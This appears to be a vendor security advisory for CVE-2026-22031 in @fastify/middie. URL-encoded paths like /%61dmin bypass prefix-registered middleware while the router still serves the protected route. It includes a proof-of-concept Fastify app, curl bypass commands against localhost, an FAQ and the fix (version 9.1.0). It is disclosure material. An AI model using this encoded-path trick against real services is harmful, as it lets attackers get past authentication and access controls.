CVE-2026-22031

A security vulnerability exists in @fastify/middie where middleware registered with a specific path prefix can be bypassed using URL-encoded characters (e.g., /%61dmin instead of /admin). While the middleware engine fails to match the encoded path and skips execution, the underlying Fastify router correctly decodes the path and matches the route handler, allowing attackers to access protected endpoints without the middleware constraints.

Details

The vulnerability is caused by how middie matches requests against registered middleware paths.

1. Regex Generation: When fastify.use('/admin', ...) is called, middie uses path-to-regexp to generate a regular expression for the path /admin.
2. Request Matching: For every request, middie executes this regular expression against req.url (or req.originalUrl).
3. The Flaw: req.url in Fastify contains the raw, undecoded path string.
   • The generated regex expects a decoded path (e.g., /admin).
   • If a request is sent to /%61dmin, the regex comparison fails (/^\/admin/ does not match /%61dmin).
   • middie assumes the middleware does not apply and calls next().
4. Route Execution: The request proceeds to Fastify's internal router, which performs URL decoding. It correctly identifies /%61dmin as /admin and executes the corresponding route handler.

Incriminated Source Code:
In the provided middie source:

// ... inside Holder function
if (regexp) {
  const result = regexp.exec(url) // <--- 'url' is undecoded.
  if (result) {
    // ... executes middleware ...
  } else {
    that.done() // <--- Middleware skipped on mismatch
  }
}

PoC

Step 1: Run the following Fastify application (save as app.js):

const fastify = require('fastify')({ logger: true });

async function start() {
  // Register middie for Express-style middleware support
  await fastify.register(require('@fastify/middie'));

  // Middleware to block /admin route
  fastify.use('/admin', (req, res, next) => {
    res.statusCode = 403;
    res.end('Forbidden: Access to /admin is blocked');
  });

  // Sample routes
  fastify.get('/', async (request, reply) => {
    return { message: 'Welcome to the homepage' };
  });

  fastify.get('/admin', async (request, reply) => {
    return { message: 'Admin panel' };
  });

  // Start server
  try {
    await fastify.listen({ port: 3008 });
  } catch (err) {
    fastify.log.error(err);
    process.exit(1);
  }
}

start();

Step 2: Execute the attack.

1. Normal Request (Blocked):

   curl http://localhost:3008/admin
   # Output: Forbidden: Access to /admin is blocked
   

2. Bypass Request (Successful):

   curl http://localhost:3008/%61dmin
   # Output: {"message":"Admin panel"}
   

• Type: Authentication/Authorization Bypass.
• Affected Components: Applications using @fastify/middie to apply security controls (auth, rate limiting, IP filtering) to specific route prefixes.
• Severity: High. Attackers can trivially bypass critical security middleware to access protected administrative or sensitive endpoints.

CVE-2026-22031 has a CVSS score of 8.4 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (9.1.0); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-22031? CVE-2026-22031 is a high-severity security vulnerability in @fastify/middie (npm), affecting versions <= 9.0.3. It is fixed in 9.1.0.
2. How severe is CVE-2026-22031? CVE-2026-22031 has a CVSS score of 8.4 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of @fastify/middie are affected by CVE-2026-22031? @fastify/middie (npm) versions <= 9.0.3 is affected.
4. Is there a fix for CVE-2026-22031? Yes. CVE-2026-22031 is fixed in 9.1.0. Upgrade to this version or later.
5. Is CVE-2026-22031 exploitable, and should I be worried? Whether CVE-2026-22031 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-22031 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-22031? Upgrade @fastify/middie to 9.1.0 or later.